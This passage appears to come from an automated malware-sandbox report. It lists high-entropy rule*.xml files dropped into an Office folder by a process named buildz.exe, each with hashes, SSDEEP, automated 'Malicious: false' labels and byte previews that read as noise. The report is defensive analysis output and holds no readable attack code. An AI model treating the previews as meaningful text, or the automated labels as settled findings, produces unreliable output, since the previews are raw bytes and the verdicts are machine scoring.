Preview:	.<?B.NWI..l........MU................F..Wf...!.4.%U_M.........5.....k/i..Pe.....L ..zNU...]..D..7...M.lfW.2..T?G.......j.o@).u......UwJi.....]..........,.. .&.....E_/,.....qN2..v........R.G$^.jPY8....9.g...-.t.tw....yf.j..k..P....!F%.kd..jPr..;$qADuGf...h<..6....b:....i4.4...<.....j.y.a_...q..q...^[.........]......q_=}"..X7..Xhg..(.d5.B}K.4.....$....v.bG...d..}...t..)M..A7.B .o...(...lU.C..O.O..0..zGe..RM#....s.}..b.M..l7ZS.5...2..^<.=.oe^.4.E...N.Y.eVc.W..Lo..L\|..@...L%X..J})..8Z.8>../.~..wO...s##]bg.z ./...+..!.......K..R}..p..>........~.{M2....4...L..lg.`..Pm..Vz..O..x...p...7......JRp...L..6.kLdid......YO....%j..S..N.ME.D..d....e.A....zv\.....~.E-.M.,]...Q....2..U....{<a..r....cvx.]...j..!f...4....\|`...w.....b._...O.Q$.5.z..o&2d..r$#.3.,....R...s. =.[....cz...c.O..@X..>nh..v...y7.4\Dq..h..=.S9C3..R..i.....&f.A.Q..mm.Tf.(.p.4..A..T.q..h_t.r...A..3...:.`..$.C.#..1.e.^.1.rh...}..A.ten.2...WoW.6...V.a...q.C..pny..rhZm...>..t ....&6.9.,.}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1776
Entropy (8bit):	7.896031563482686
Encrypted:	false
SSDEEP:	48:3DouyYkinpAUZy8uDiMmRYHbSEo2U1RHED:kuyY/pO8uDiHmb7mRHQ
MD5:	E3FE240E08756B0677D0B51A45B41DA0
SHA1:	FA6620E7C9A4967ED8E5A7E2CA9FA4A364FC1FDD
SHA-256:	0DE075833369641DE74C68CC08F6CB56D9E9AF96D51B1491D61BBC3BD6389F02
SHA-512:	42BF4AFC190E43A3F2C50B4C7DB386FBC85B9DD79E08B5F66784363D23BBE74D24FF671B8D423EB9798FCCB4180F458BCA9452931FA1F1239B8E330E83C1CD14
Malicious:	false
Reputation:	unknown
Preview:	.<?rm..V...qN........(.B.b.....n.[......B.dw2....Z..FA.w.(K.e:.R.@....$..(k%@..~.^..k..W...T.ua....D..E+.~..\..of.H.@.ONk....+.\|...z..Y.WAY...!....[......f.{...{....S6......E....h.c.'Z..K..X..=NH...q\|\..tg..[5..3.......(]..>.....r.../..d...D...t.P8...>8....F..].a.=.{.2.....1..]m).t..]f,Q..+..=..........`"..).iH@......UP.)1......3.'..e......~2..#.Qo.nN>%..r.!&...~1.6...n`A)v#..xca$.^...G..W4..($5j.V..D....Ci.^....Wv.x.7v.Zj.o..~...v..>)......+<T...7....%....Qd....)Qo4am.....!.Z5.Lu.X(a..N.R4.H.N...8"../...U.%...X......$....D.F._.'.!2.}....l..z...8m....b.\|...+.kt(..O.^7......'....XRS.....g..;...x=.....c...._J!R@.l...n......h.y.Z...r.-\|6.[uz4...F....W9#:.!.9...+....V.x..=sc..+8..u.x..Y..._J.9..j.c.Z.v.yJ....a..w."Q2.Q....uy...Nc...&>.l..&..U...cQ.!...r.".....`.+t.$f.....b..v).F(.BU.IS..~....9..#".u.t..;..B...Q{.Ww...^..A.....c......../..3xx\|.Je.:.?.....1[..p.P.sF...8.;...J..nh.aQ.._ C.Z..m.O.v$.@~..D+...':....,..]...-... .../......pP.#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.875693563459734
Encrypted:	false
SSDEEP:	48:e4aPr+bD8jG/XeCPvl3dPsEXGhj2cWVmW1Q9Ur4MiXcD:eVD/GZPvWyxHr4Zo
MD5:	89A76B1CD72F16CE38F4886391374E78
SHA1:	A810DC92BBF376FB8465BC5C5085BEBA47AF3211
SHA-256:	97F5ECD5FB00BCECC314B499397CC548357E7A13BF8C55B3B95EF00612A0E6A7
SHA-512:	7D500C77E8CEC80E58C562B3A98331C6D1BFF50E645929C24E28D99623DBBDA6C5860F1D7BAA7D261030D55165E6604BBBCD8C4D9A6D55B265DA9978FCA242D1
Malicious:	false
Reputation:	unknown
Preview:	.<??.E3. H..".:....a.9..07y..[.o%._.Lz.6.Z..y....LBA......q.n..f6..i.7#....X.....i../..&P....?z..z.09..vn...T....6h'.<.N.(..C6Q.Dh.......Rd..n.x.]....D.j.. ...k.7.....Rk.............k.......4Z.T. r.s.{n.0(.?...0..d'.}..\.)..K.f9.f.......1(.......<.y.g..,I.~.D.y.&...kRg[:I^4...NMU....32..f.....d...@......e.J..m..J...1..S,.?E..%."...E4.0._..G.`.......4...E..e,.&......tTg..ZZ.&.......n....I@\Vc..........h.3&...N..)D3.......9V..s[...R.0..n._..v...P*}#a.........g...aZ.<...)....:Cv......eT.G...t;l..(g.".\|V.%... .%..:..5....7.<\f_X.mR5.8.M..O.......c..h.CB..s{.i=u.....%......V<..Q...9...i.9r..%..0.`..E..M.......>....@....1.z..J.'.w.\|...x....G..x]"E...r.;!....`.. L.......r7......y3...t!...<jg......v.P...$2H.....+...h...W.p...Y.....5..a....G9...;,....>.P....G..~..]W.....qrI..j.2..gG.F.+.Na.....%.I.\`...y..0.;7....#.y...;Gf.A.)..r/.v2..d....&..&4.p....V..Yz.$\|mZ.Y..6...J..NZ..FR.m..1@$..B/..5..._.2.T........D.?..GMP..(.nB....P...........0.W.Q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.889201164857968
Encrypted:	false
SSDEEP:	48:tNymLq9pU+Ch4OYz13Mvl/mP61rjgGzMD:3y1pU+C6OYzZM9/mP6zo
MD5:	5E13AF4DF5BC770D6EB7A35B95E49C6A
SHA1:	35CDA2CE1905C6AF1B2169055018436FE875B19B
SHA-256:	383297DD410DA3B2C2FFFCF8454A9E40879E6B7040C3AB750E6ACDD8745E9031
SHA-512:	3658160D9E411F5B6E1545F2DC07ADFD9CD72CAEFCF0E5D95DBD16C7BE0760EDB5AD9F5E5247B8DBD0F1968892304CB010F5450B626071776B6E0AAF9BAF7715
Malicious:	false
Reputation:	unknown
Preview:	.<?..-T.x.;....;..NL/...?.{qhr@t.].&....L~......1..\..,..-/T-.T<8..I..h.T...N..:b.q.i.z......T. ....Xc.g..O(0.k......Y.X..........Pf.!..C1L..........n..J.........~\|eI.w.w...0......y.U0ut]..D.]....P.N.(.IepSW......~..D].,H..f.....Y.'.....R0.2....2.....]9...&._k..%.dSMRo...n..e..KY:.....'...m..j.x.o....N....~.y...k..OG$.....P.L .-..][...8....v...g...j....lq...i....cVa....#.,.i\..#C..f..v.{.R.S.........k..=.W....7-..h.h..A.O....7...c.U...u..G.>..u...h..L.)d..f.J..v..(B... .+d.. .#.Bp.R...{g.[2.\|.C\h.......H..F...e._...]P.........2.....W....E....CX........3..m...P..za..E5 W.?.zY&.`.....iQ..qJfG..(..O"..,.z."q.`"..>."....8..;........7.Ua95:1.g....[.....".p;..............8....,9.f`..s..(..5.t..Qw.H.P.^.).8@..<...'..h.K!..YZ../.h..M....Q.-....'..........xa[m.O..vNb.T..."5.m..J#..x.'.>.l.c`'.....yvH.......!b..x.....9.. [y9.... X.A.1..._.E..-........<...B.."....JBo._.zKJ>>...4..-.....en...X...{...eiP...4r.XEM@........z...p....Bx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.881300977273705
Encrypted:	false
SSDEEP:	24:chmBbIoezf77eAA7OH9iLuqOCFut1sYr+D8xsjp9zGTabbJAUSM3N2yLM3bD:EVW5yH90uqOmE+IKjplGT4J7B2D
MD5:	309AE171DA076289E284071920B8C2D6
SHA1:	39E5C77232ECCEE5C857AB9B25BBC1CDC8D7FE33
SHA-256:	56FA2CAA37ED56925750F3C381EA1AD949843210A615286A09070136D53E5A15
SHA-512:	2A0B03C7323C06B1E5D7988FBB5C63A8B4386177898228B532B4923523226F716E504443E000154DEA6734B551222E3B9EFC5897EDA75C24FC4BB60EB62B6517
Malicious:	false
Reputation:	unknown
Preview:	.<?.9.(u..5....!...o+.AhSyo.vJ.......q.$D..g..[..(..'.V..z..._.W.zZR......U)..W..o..K....Ba.)?t..yi3.j...W........gD...2."..g.} ..........x5...1......:.F.v`5N...p...}...b"&~..y.\..@p3w.ac..wv.K.?B}J..DX...b.e.c...r..^T^...By...+U.3...........d.e....6Q..!....u........i7..h..:C.K.n...D..T.....K.L.F]..J.e.5...bp..-iD.=.n.tf;..u........LFI&$.8.A...u.N[.36\|...L).8?$.We_....E..h..1.c..\|....L.[O..Bz.W.....(.xK._M....B....e.t)..d...l#h........yGg.9......./.6.I..!..e.......(EnxCmI.0....h!..uc.5b..n^.R..z.j..~s...o...S.q.L_.O.p8.n...h.............`...+..u{.v+.}.,QP...L.ZL.....X...pZ....k..O.....1.e02?.../J..E...."\.+.......ORY.)F..X.z........:?..w>.iS,..q..J 1K2....%.yKQ......1...3.........C.==......)1.....sc\|.i.J,..a..C.?... .J8...u.HY.:'..=.b. <..`....M..n.....\.)5..R.v..WRVa..3.4;.\|?1sJ...T.GY..\|kA%nJ..JC..f...B.',.R&6....)PF....T.l....)....v.[H..}.......".........N..I.....@.......A0.!....<...8.........TS.......-%..(.\f.K9!.%!.....S..;.`.J..D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.891611982272221
Encrypted:	false
SSDEEP:	24:x66afCXKa5bZjopeeMWKUBlJEWgN4kU4zlCfSd+349cmmtiNlrBc53JSWPpOmqBc:xKqaaApeXWK3X+ozeSQSFY4L9B+bJyKD
MD5:	9C2395CB64C3213441AF68EABD639172
SHA1:	EBEE0B3167F4EE619F3F495BBB517772729DE242
SHA-256:	B4F4ECE5A61746859153AE21338C7AD17553E9A18DC3DF5A14C9646AC71B1878
SHA-512:	4493F67A0F86C9D21CDAA6D1758925D2FC0A19479DCA93CEE0523BAB664ADD6270745D7347A77701AE8EE14FBD78AB3EA468AAB49F93BE93E0D3DC72114463AD
Malicious:	false
Reputation:	unknown
Preview:	.<?k...M.U..+.{~..........e...HB..2<...J.................z8c.3./WZ...+..?.K....`./.iZ..5O.k.Qz...H`/D..Q#JR.e..8.m...%n.../.c.hDK..r.Tq.@5....!.F.T.MW...#4.z..z...V..E....{.s..h.I.).. .f6<.I.}@....ahE..;.....i.6.R...ASP..Q......zu.SU.M~T...N..R.._P0.G!R...I80%..............7...J.../......_..p...kO.....b}. ...m........R.?..P.fg..g....X.<..v...kgt=X...#.&%....v.P....Z.6A.....G..z6.q..t.r.I...h..Kj.KK...S+VE...-....m...OU..I5.z...A..S$.9.:I..Q... ....rg'..@..t.$.M.p...k.F.G.Po.X..!.=.......H..:.-5....Q...I\).%......=.y....1.....g....`.&..v..\.jK...ZQ..4.....1......8...b.y...5.........f.....8z.%...8..s.u......4....^,....8k..8.C...$.}B.S3f.#....>.....>Q..Sd.......S..z...Y..?U5B..md.A(.\Xu..)I.v2+..Y.M.g...B.>Bj..a.'.t...,].s.F.y..&..........O(...A&RZ..c.h.X.Dwx.f..F...0.x.$Ce.{..9./wS...qH.. ..I...rb-..G.....3.u_...A..\|.......H.L.D....%.....H..P9...?..t"g.g...o%e.2....q.;\|..hd....&ln.jA......4....N'.....}Q.I.. ...[.0I&.~mUa.>...-l ...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.901134006777053
Encrypted:	false
SSDEEP:	48:5MshXtKSB4yuqk4o8dN7ZDpe2vk+4v8aymqNXND:5MsDKMkY7ZDAuOv8rnT
MD5:	4D5BF921EA37361CD17EB5515D859145
SHA1:	6F1FFAE469B4B2D341398B46E2529C7606613702
SHA-256:	F141B79DE598CA1CB361FC638254370EF68141FA8D55E4D7A05A63190893453E
SHA-512:	4B409FB4F3BBA23D7A572000476C0EF0A4A99669642C576756409357DF72DB33F6E9CD25A8245453BF35744291EB63C1B6276D444F4E17F65E028CC741BD911D
Malicious:	false
Reputation:	unknown
Preview:	.<?.\|."...e..#.u..r.....l..2#...yq....[..w...].7.....?...ON.5<.4...}V........& i..5v....-!........[.Eoyt...`i..!?...!D:..............Y.........^.(2s9@..f...M.BrFP.....y-.i~..Z..>..C......Xe.u.U..........Z.w..I.. Hr.+.....;.G...N6.O.3.....2.JR...._....8......gJ4..N.\|.../....Z.r...;0.'.x.\........Z...e.\.sm;. .....'.?.m..81~.n.F..!...gMs..=.....]i]X.u.....7o..#~6.U..r~....+R...1t,....R.L."\|)(Z..k...{RJ.:..?..9-\|7...e@T...7r9Aa.e.3....~e.-...k.)%.C..gA%...]..B..#Kd.8@G...0~..W....[1.....d..hD`.z.)>I{pf.w.h.b..p=iL..z..,.S.rR&...o~.x..P.4..H...t{.;...MV.d..,....:Mu{,....S............d.8.;.E.M.0.......d.....].o..l.y.i...........&..7n...Th&..E.._s.....<Dh.RX"..M...%/j.j@s.c.^...-6........cBl.i..i!....L.c..L.;......=..k.../.0...(0.l9..n.....U......V.j.s .`.M...U......\|l...5...C...e..B.......=I...W. ....k..2.0...`..'.h..d.^h.b...9 ..{&....c+n..K..........U...!D.R.....1.K....~..u;1.?....."..............<x.(mN..V.-.7..b..Nf'i..'-Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.895750652617876
Encrypted:	false
SSDEEP:	48:RzhPgg2nkE7adAnJgCdP9E31plDGc9x8QPr8eD:VZEkE6AnGCdPy1TDGc9x8urN
MD5:	CE9410988D26772F0CCF511E5BD877F2
SHA1:	718E10AC18105324DA9D3A3F6A60F7E158C2AA6A
SHA-256:	E79DFDBB04BEA4CC112FAE2A754D8D0B7C776894084E55D538CAC37F0B90D950
SHA-512:	9C2ADD6DB02599A170328C685E8C1EFB270EB82240F32D863392CCA6C6762D7678D72128527C64B5E751277E6DD75CD3139FEA941CEF442871814E5E3E929AE3
Malicious:	false
Reputation:	unknown
Preview:	.<?C......BU...4..gI.rX..&.......M.\|i.q..P.......o_.Fr`Qw..=..L.....`"..VE#.H"M.........a......S&..U#A.kB..L.kz+.g.T1....=Mi.`.......\|...X...YX3^iOB7M.B....1.RWs.~`...0.>.R.bA4{Ly..<...8.^..$...G.?@...8.&x...._.g.........PO....r.7kF....@...\|........_..U..3.%.p...D,. .S.q@[.7G.j0..`Y.sL.j.5.......\|.{=...w...T..]~......Af..5...<..8 $..sG.....Q.;..h3..K.....o.~...x.....#.q...\|Q.X.....e....?.{...C }...QU.\DN.C_`.r..../<......f.d..ZZ...7.....nun....5.....$....[.9...>..J..6H.:._...`..{..zD6..x_...d./.mVGi.Q..W%I....T%..I+.o..N.`E.....oH....S..?EW...x.!.....!+.&..u.y .U...L..=..U........uX`...awe.XZ?..;.g.>.d6..............t7<f..I.y03..g=B.L_I.R6.ZtV.....<.\|1{C:J..g(...i?..^e..k..Z...r.... 8.....!._..P..".G....}.!.}i.FN.....d..g....s.!...........d.K..L.z.."..Z.....q.Eb.0D...Iok&...r>...B.........VS........&8\|..........%..).}... !.. /..$......e'..mz....#.Y...8.....!.j.......Z!R*....S..c...p-.....VmRNjN.-s.I.!.F..v.......X.."{...\|...>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.8863672051943885
Encrypted:	false
SSDEEP:	48:HDTMWd8CAOVvI2WLiwocySDIrkGspcKjmZD:HDTsCpABLi3uEX+cK6R
MD5:	333F25054EC1C0D3BE80BFA1732B5B32
SHA1:	67F29FAFB58A82D32A78869CC6AF74946AD7E23D
SHA-256:	6BAE3734F12759DDE3294062C9A6BA741F9531731428A027603DD21252E8BA59
SHA-512:	EC0575AA84CF86A15A5BCC1F7FD846C741DC365562C9A91261275AD3940CBCF3861D9CD2EC4412A43FEE4529F294B2B94123551F86C9E95FA2DEBC0C4958EC29
Malicious:	false
Reputation:	unknown
Preview:	.<?..nwqD..Y.L.k..g.+..ae,+..8...8..Y.\H..c...W.a.9q..>.. (.\|.....R...+. .gj....1$k!.1...5.....}.%.d..C...>%DU>vse......m/I.,..?..!~K..a..B..A....;.....Dw..c..?....b.......B..P.V.o.....7 ......~....T..".!..b.$......S...6.f.....t..o.j.....C+G..G.6....re^N.d.>v.....].sFT...{....6.......m7..#4.c....V.,......K..........p.JM.9!Hx.....CS-.`.p.>..BF.............6.rW......9.../.w.E......f'm.'..+t..._l(.Y4vtl.7...q........~.ezc....Z.+Z..3.FM..g?.w[.{.......O..4..b....?......=......>.V..."44.c.U.~...=}.T...........{...9pd...8..L.UD.#)\..K....X...i&..s.E...x.D.....<w.....\|..}...Ch.~c2......+J!u...G..V9ZSN...'Z..........w.u.s`..R.........S.b..l...o6};..0.].2`..7....os..C.0..Q......2.G...@.v.[.E.I.2ZU..%.#1.iY...<K.b..^...q......q....f..AMF..O-......\|g..X...dG....>.)..Q<...t.2..W.9MU.....Q...6.:A@c....&>a9.d.h...h.5>.w..*F.)Z.S.e.....tl&.U...FC..^...1..S.9.../.wlx\|.T1.$P.. .E....=.u/...bZ.=vV-.f.=.<JV....#...81.\.........gb.../....N.7.x?-.y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.907274563405129
Encrypted:	false
SSDEEP:	24:uJVrRq9leCht1BaMrcvYBs1E0q3zncckgUoW7uOQgItKvoHlQqxxdutgI97OSKbD:MZcleCX25h83zwoAbQKcl/3dqx7KD
MD5:	C8B7627F47848575F206581A66B4D1C9
SHA1:	B673DD9769C29D7208C34D26566E6ABA4E0DCB87
SHA-256:	16ADB046D047B62D1532B344A95A64AFFEE7375E8C0DF79F7BD95BA6B27F3599
SHA-512:	E6DA052E51B236A66A75DCD0B466FEFA136DD8E27C7C6945317A1C16C984D1AD8A4C701ACE6B64CE18B3B0D76154468EF123DE1E748185A9B0BAB49052C1B448
Malicious:	false
Reputation:	unknown
Preview:	.<?cXm.qJ...B.z..lQ.......X.O^8b..............H......d.n.\|.[O..o...I......=.,....P...`..5.hu.......zMI.w^1..9'..c._:@....Bb-...Z.....B..E..$.P48....Br.F.7..X.....)./..l.......Cv..Q. .k'2.v{....`v...fW..G...Y.._..S&N.N6./.X.F..br.B>..r?2....$Ap..V...R...Lw.c...q_-.g.Z.J..!..x....G...B.8..6.`D....W...%9x.ER..>P.V...h..%.I....C.I~...~..1p.......0.....x..\.z'....j...#8o.KpM.. .@...0.........8...-.4.V..g......d."%..R)E....z....W.3...P}..T.$...:.......}..QTg.o.)..{C.$.....G....C....FO.tT..v....fP.S.B.._.!'.gs".........cN........=.N.....J06........9.to........k&MB..O.J.3JG..s..26...H..,G~H>..O...DxoU.=E..H.o0..2.#.B...N..".Y}....k.C{...?7V.H.m...d.=nm.Q'.9...~.z..F..!t.m..^..Yc..O..../...t..#.....\.u[.....;.G.%tI.@p..)}..?..O.....+l...........c5..#...\Y..:5w\|...:...e.O..6.v8(.yw..+..?.A...x..........u..-...X............z?.y.(.5....l^...^....d6.X.f..z...z....{....`.u....."[...?..jf..)...[;.pP.Y....X.{..(@X.....S....).Z".3...x...@.E.-:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.89635431264871
Encrypted:	false
SSDEEP:	48:ZZwsUs4i1sm7ByFbSXHe3yJkYz5QLRdFDkNmVbnVD:jV7ByKeCJkYzeLFoUt
MD5:	EFF6AD4ACA9E982444B204BB1BC85880
SHA1:	765CE5C96D71AECFD3462DE7EF545A2928D11F17
SHA-256:	3322384A449DF92D7C1E5A2FD3AE4870DB9D502866BEFE92607EDEEC5A64E6F2
SHA-512:	6D4C682A56F39F80C67DB97C302D7948B67DC80C6899E263E9FC8C025AA099730C3D3CFB077F3B4DCA16A918C957411610A281C4FB989B2EF426855230AC30B3
Malicious:	false
Reputation:	unknown
Preview:	.<?....ZW&E.Z7.\c...P.:g+.(%S.....o...#O...^M) J.....H.9r.;3m..zG]O.5P..O.]r.WL.}...37pX!.....".......X.AV..Z...9.......{.%.o...."0.PqC+6..J.K.YH...3.......Bh..].a8XU.U.....Y.$.X...m.U.....<m........].......y..;..Hv4...\=...1....LE...?r!)..=..@.,b..6s1T.....QNv.......X).L.\|.(+.....I........$..e.x..7?..Q...\|...D@il....Ge....rNg.6.._..4.us..`\.<..8.I.T.7.{...p#)}wt.\|4%.%..y...6.[...!..h{.j.I.?3{`G..(......g.jd......R....M..Yh....".P%].....e...7~.E.._..q..yRB..T.x.9....=..<&N.A.].....%+..Ix.(k.8$..7K..O.l...*[I.lh.~..~1..'P..z.@.AJ..x..(7._m..".[{.......f4{..Z.&.5..P.B..6.y...0...l.d@;.....W.]T...8.j.3=H....(.. b.H.V.o...~$...X..%#c..F9._%.uv..\.I....A5....Q......`....{......a.....]6..\|.....C..C..S..N...7..HU.)....YjB;.j.........}..Y..f......2.....U.3.....L.....]/.l...#/?.,.x%....L.Zx..i....CA.........n..j..\.?.;?....>g..T3.!.u.j.b.g/...n..X.....`.3Q...........G.m7S....H}0H....;.g......'ga.s..i........D.....FGc ...z.._...bb...q......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.881045120407917
Encrypted:	false
SSDEEP:	24:bnz1afRrRLtfRolFCDGzh7za5N2RNJPQ3h4tES2/qt08WlI5TXCiM8MiMhGVK5yh:bz45rCFC284BQxKLwwTy18MiJVgzHhKD
MD5:	3110E84759D4701116D9E94E7F9FB339
SHA1:	36A84BFA84BCC0F5A5A39CA04C42BB4B7B254F34
SHA-256:	651E151D18D65071AEF837D3B5FCF73B29685F68DF7E876334ADDCB019EF1016
SHA-512:	869BD3B2DCA185E08A263F4F4EEC14EB24FCAFCC63F8D790EACD346A1AACD4C466557F800548CC9441355EDC2F20D10F43C0224ACD1F3ECBDA252FFDC8F680C0
Malicious:	false
Reputation:	unknown
Preview:	.<?t.YQ...=.1c\0\E .@`......Y... G.$.....t:.,<.=.+:..N.w.g.O......~n"VSa.Y.7....M.Y.kV/....8......Boagq.Rc...&.h.....7..D...Hear};\|.!..e.~.B......W%.b..-).....D.vc.?U.!..W..t.,.....Zo....)..T&..A.d...e.OLJ.......g$..(i.V.HWq..^.dZ.,.2.f...}..x.&.DH.D[.9..f,..}....k..5..H...m..+^.Se,f...... ..N....c..<..y;k.......t..+{.F.c@....}s.Q.....X...5QoX...akJ.....>..s{.bS.[.t.1.7..,'....x....-.G.e......f.h..Z.^..C5.I.B.8...i....}d....n%..>..:......9.....85.1....?.........A..3 >....kz..#8.\|jJcMc.`........Vh.s..c:.B.'...P..Q$Q..pM..b..If...Z...!h..f#;e...&<.ij.M\|....F.#S.x!......c.p:.}.......0.8..\..]}I.N"e.....6...R.6.F..b.....qP....i.K.<.).........F.]-..4!...?.v&.r.=.;.Z...;....b.tqH..X."F.Am.>......7.....YW0s../.=........n3U.x..N,)N...@1..+./.."....x.._...5. .jB.;"..f.T*.2...l.=%d....\.....-.:..[N..Pe..=..F.~....S.........B,...}.0.....4.\|....?....q.......]...m.../...%.b... ..........-].A.l.S.2;.....pq....:..:. -..C9....'.5.~1...)..pM.'....y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.890620116053992
Encrypted:	false
SSDEEP:	48:QaQzYpe4oUkkCGrskNMNdDh6m3AvrT/+a4GgpfKxjn+pvEXD:QJGeAkDdkN692uyj+pvET
MD5:	C3E00443B78B3CA6D52E9AF5FD50158E
SHA1:	8E050A83E3D7C294B996DD9141C6FC49E2E72144
SHA-256:	EC0B4CB62AF4D54D4672FB40F457801075E10CC97F4E25AC1015723AF53B4DA3
SHA-512:	9A0ECF4E13CF7EAF277E321AAF7E09205D9E1EDB8E8D543C28077EA0D669A3C30E48B752E7E7A2AE271EAC3551E25ECEA6E7252B697D81AE1B4EF346953A05AB
Malicious:	false
Reputation:	unknown
Preview:	.<?._...B.c...!i..2..\h.4...H).0N.^........S....."L1$.....%l..o....H.^`u=..k.....4...vD...#b..Y.:..y...]b.......\|?.]P.$...uD..):..s..K.S.^W.7[{.g.....Y......KV..:.....=.....b...!.b.....w,....<.W.T.]... .a.:...........1.XFU.,a.i...&..#\|..m.u........WR.{"....L f.....[..&.HK.A6.Q.1...N.l..8..)?.Zuc..P.k...s8.u.y....?.=..1...... !._r\|..a...o..\.7wfz. ....:;RH...;.....~.3._.r.=:.~...d..I\..I.>.x..N.@..M.....9cm.......8g&tj.........d,_e......K1........{DX.w.\|A)..?.lgS......IU.B<)(U..y.<...S..t.9....!.........Uv.%`3....:&.....X...f..7f..,........".2_..{.C\......!+........"B.o".o.PAzH.I.xei..?.u.s...... ..\|..==._....Bi......).]..i1.w...^.h...M.b.k.Ik@..[..K.(].l.w...B...;y....y..j.<...Rj.r6.1;=+..3G+......X...q.#...-...h.....S. 8..vK./AP.>o...v}%.4..do.wK..dA?..-.\|...-+R b3.V..n...+.A\..J.zu.V`\^q.=..58."..L^..nBb.B6.:...;...$.f.H..C..93h.X_..12....0w8A...z..*.l%...X..<...T....6.$...8b.....`t...U.K...H.x...............6".KR[.;j.u2...lx"..l..H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.878140472507102
Encrypted:	false
SSDEEP:	48:dxul0kjqy/SlFevEncHMZRMu+dLfkIkbmD:VyqoqSECVdLfYb+
MD5:	E0648C2C8551A42E1F1CD5FD327C0D16
SHA1:	91F5AE304B9E6FB801226BB34175AD7AE3075D6E
SHA-256:	233674C96DDAC240D2CE4C305E410B5D02F5729AD6D6D1ABE790EE32A5D9AFE3
SHA-512:	ACD993E56F9DD73C423F8E79DD1F06053D50E78013A12B4F7412A0D5E2BD2B93CCBEDBEE814103C779B89C312B25E07F04B0BAF6161A3C0C1FA179E7C478A59E
Malicious:	false
Reputation:	unknown
Preview:	.<?t...h..#..o..R9..W.^.....!,.J.8..4g..."_.......h........o=.4m..........\.)o.'a.,.ddJ.\|\...T...anR....E...+$-(\|"?6.P..,U.. @Y.w..j.G.u.#..5T. n.n.....Btw....-........6.or...f<\|.. Ne..(k.`d,c.:6.@D9...xM}....h@B..g...L..g.C.x.qX....T[.a.W.S..4hF><\... ......P..k..b.=N.z.Co.=x.O_./.......$.9q...y\.....q..Q3....9m53...a.:.......p.p.....;....{.,~....s..W..}.e-s...G0....c..nN..o..9.5..M;.B.H...HUF..C.r%.K=..GN:...I.........\|..j....Um9.6i.f.....i.R%...E...A......sh.E.....?..#..B.:..h.x0.........R.. .........e..Z..[.c..l..`..v..u...@............I.....-!.).l..g.%..}.....{......uBUQ..R+F....P...h.l(......-...Y...E......k...J...F..`...O.N:..Xi...@Z...xx...m......D..-t..mk{w.h=...[..........?W...s.v..x)>ua...7j..+.3c.=f..0.\|Z...X.m.`a^F..4}'Y.P...W.Z.6..O...3r.A....FtR6.E.4.=4:.<.DT......2.==...6.uB.a..w5......[.8.<.ul.&:=h.@...........\;.X...Yzc..B{..>.EU...h.}....0n.~.y.{.a.=..R...w.....Ah7...G.....i..6k.w.(...=.b..w.]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.89190485963739
Encrypted:	false
SSDEEP:	48:UlhD3YUsB61nIM7p5tQJzX6zW2lNfp01Kz6HiBRpuD:UlBIbBMnIS5aJyllNBxBR4
MD5:	7AB48639F081C717EDC7A5D5BC6B2946
SHA1:	18096394A28A68CC4506DE1D5129583DD213C1A5
SHA-256:	98178DD13AF7915AC7F1478AA2FA368616BF470EA40ABF0BBFEBF9AD02F9DAAF
SHA-512:	616676C625F41ADEC3AC4F627214AC2715473466E1E3907327B5EAF1BED711F57A25BF2FF91435C36DD3C11F080A7329B5ABB432FF21B92D3CCA5611D016F4F5
Malicious:	false
Reputation:	unknown
